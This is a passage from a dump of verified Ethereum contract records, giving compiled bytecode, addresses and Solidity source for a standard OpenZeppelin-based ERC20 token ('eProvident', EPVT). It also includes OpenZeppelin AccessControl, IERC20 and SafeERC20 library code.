1034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf1c3642515fe55f65545d64970af34175bb67169
pragma solidity ^0.5.0; /** * @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity * This contract was generated and deployed using https://tokens.kawatta.com */ /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title ERC20 token contract of eProvident */ contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable { uint8 public constant DECIMALS = 4; uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("eProvident", "EPVT", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146104c9578063a457c2d71461054c578063a9059cbb146105b2578063dd62ed3e14610618578063f2fde38b1461069057610121565b806370a08231146103ad578063715018a61461040557806379cc67901461040f5780638da5cb5b1461045d5780638f32d59b146104a757610121565b80632e0f2625116100f45780632e0f2625146102b35780632ff2e9dc146102d7578063313ce567146102f5578063395093511461031957806342966c681461037f57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806323b872dd1461022d575b600080fd5b61012e6106d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b61021761078d565b6040518082815260200191505060405180910390f35b6102996004803603606081101561024357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b6102bb610848565b604051808260ff1660ff16815260200191505060405180910390f35b6102df61084d565b6040518082815260200191505060405180910390f35b6102fd61085f565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610876565b604051808215151515815260200191505060405180910390f35b6103ab6004803603602081101561039557600080fd5b810190808035906020019092919050505061091b565b005b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610928565b6040518082815260200191505060405180910390f35b61040d610970565b005b61045b6004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b005b610465610ab9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af610ae3565b604051808215151515815260200191505060405180910390f35b6104d1610b3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105986004803603604081101561056257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdd565b604051808215151515815260200191505060405180910390f35b6105fe600480360360408110156105c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c82565b604051808215151515815260200191505060405180910390f35b61067a6004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c99565b6040518082815260200191505060405180910390f35b6106d2600480360360208110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d20565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561076c5780601f106107415761010080835404028352916020019161076c565b820191906000526020600020905b81548152906001019060200180831161074f57829003601f168201915b5050505050905090565b6000610783338484610da6565b6001905092915050565b6000600254905090565b60006107a4848484610f9d565b61083d843361083885600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b600190509392505050565b600481565b600460ff16600a0a64e8d4a510000281565b6000600560009054906101000a900460ff16905090565b6000610911338461090c85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123c90919063ffffffff16565b610da6565b6001905092915050565b61092533826112c4565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610978610ae3565b6109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab58282611462565b5050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd35780601f10610ba857610100808354040283529160200191610bd3565b820191906000526020600020905b815481529060010190602001808311610bb657829003601f168201915b5050505050905090565b6000610c783384610c7385600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b6001905092915050565b6000610c8f338484610f9d565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d28610ae3565b610d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610da381611509565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116dc6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116996022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116506023913960400191505060405180910390fd5b611074816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611107816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561122b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110156112ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116bb6021913960400191505060405180910390fd5b61135f816002546111b390919063ffffffff16565b6002819055506113b6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61146c82826112c4565b611505823361150084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116736026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72305820b43582c80740a3494ed6f2ba74aa42bdf4411fd49b5ca5feb03b939616828d3664736f6c634300050a0032
[ 38 ]
0xf1c49797c80562f0707d071cd10006a8c1617890
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 